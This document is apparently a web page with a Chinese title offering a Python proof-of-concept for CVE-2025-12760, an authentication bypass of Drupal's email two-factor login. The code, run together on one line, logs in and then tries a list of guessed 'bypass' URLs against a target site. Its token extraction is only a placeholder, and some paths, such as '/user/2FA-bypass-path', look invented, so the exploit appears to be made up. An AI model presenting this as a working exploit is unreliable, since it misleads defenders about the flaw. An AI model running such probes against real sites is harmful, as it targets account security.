CVE-2025-12760 Drupal Email TFA 认证绕过漏洞

# CVE-2025-12760 Drupal Email TFA Authentication Bypass PoC # This PoC demonstrates the concept of bypassing Email TFA authentication # Note: This is a simplified example for educational purposes import requests import re TARGET_URL = "https://vulnerable-drupal-site.com" USERNAME = "attacker" PASSWORD = "password123" def exploit_email_tfa_bypass(): """ Exploit CVE-2025-12760: Drupal Email TFA Authentication Bypass The vulnerability allows bypassing email-based two-factor authentication through alternate paths in the authentication flow. """ session = requests.Session() # Step 1: Initial login to trigger Email TFA login_url = f"{TARGET_URL}/user/login" login_data = { "name": USERNAME, "pass": PASSWORD, "form_id": "user_login_form", "op": "Log in" } response = session.post(login_url, data=login_data) # Step 2: Extract TFA verification token # The vulnerability allows bypassing this step via alternate paths tfa_token = extract_tfa_token(session, response) # Step 3: Bypass TFA using alternate path # This is where the vulnerability is exploited bypass_urls = [ f"{TARGET_URL}/user/reset/1/{tfa_token}/login", f"{TARGET_URL}/user/2FA-bypass-path", f"{TARGET_URL}/?q=user/reset/1/{tfa_token}/login", f"{TARGET_URL}/user/login?token={tfa_token}" ] for bypass_url in bypass_urls: response = session.get(bypass_url) if "Log out" in response.text or "My account" in response.text: print(f"[+] Successfully bypassed Email TFA via: {bypass_url}") return True return False def extract_tfa_token(session, response): """Extract TFA verification token from response""" # In real exploitation, this would parse the actual token from emails or responses # For demonstration, returning a placeholder return "extracted-token-here" if __name__ == "__main__": print("Testing CVE-2025-12760 Drupal Email TFA Bypass...") result = exploit_email_tfa_bypass() print(f"Exploitation {'successful' if result else 'failed'}")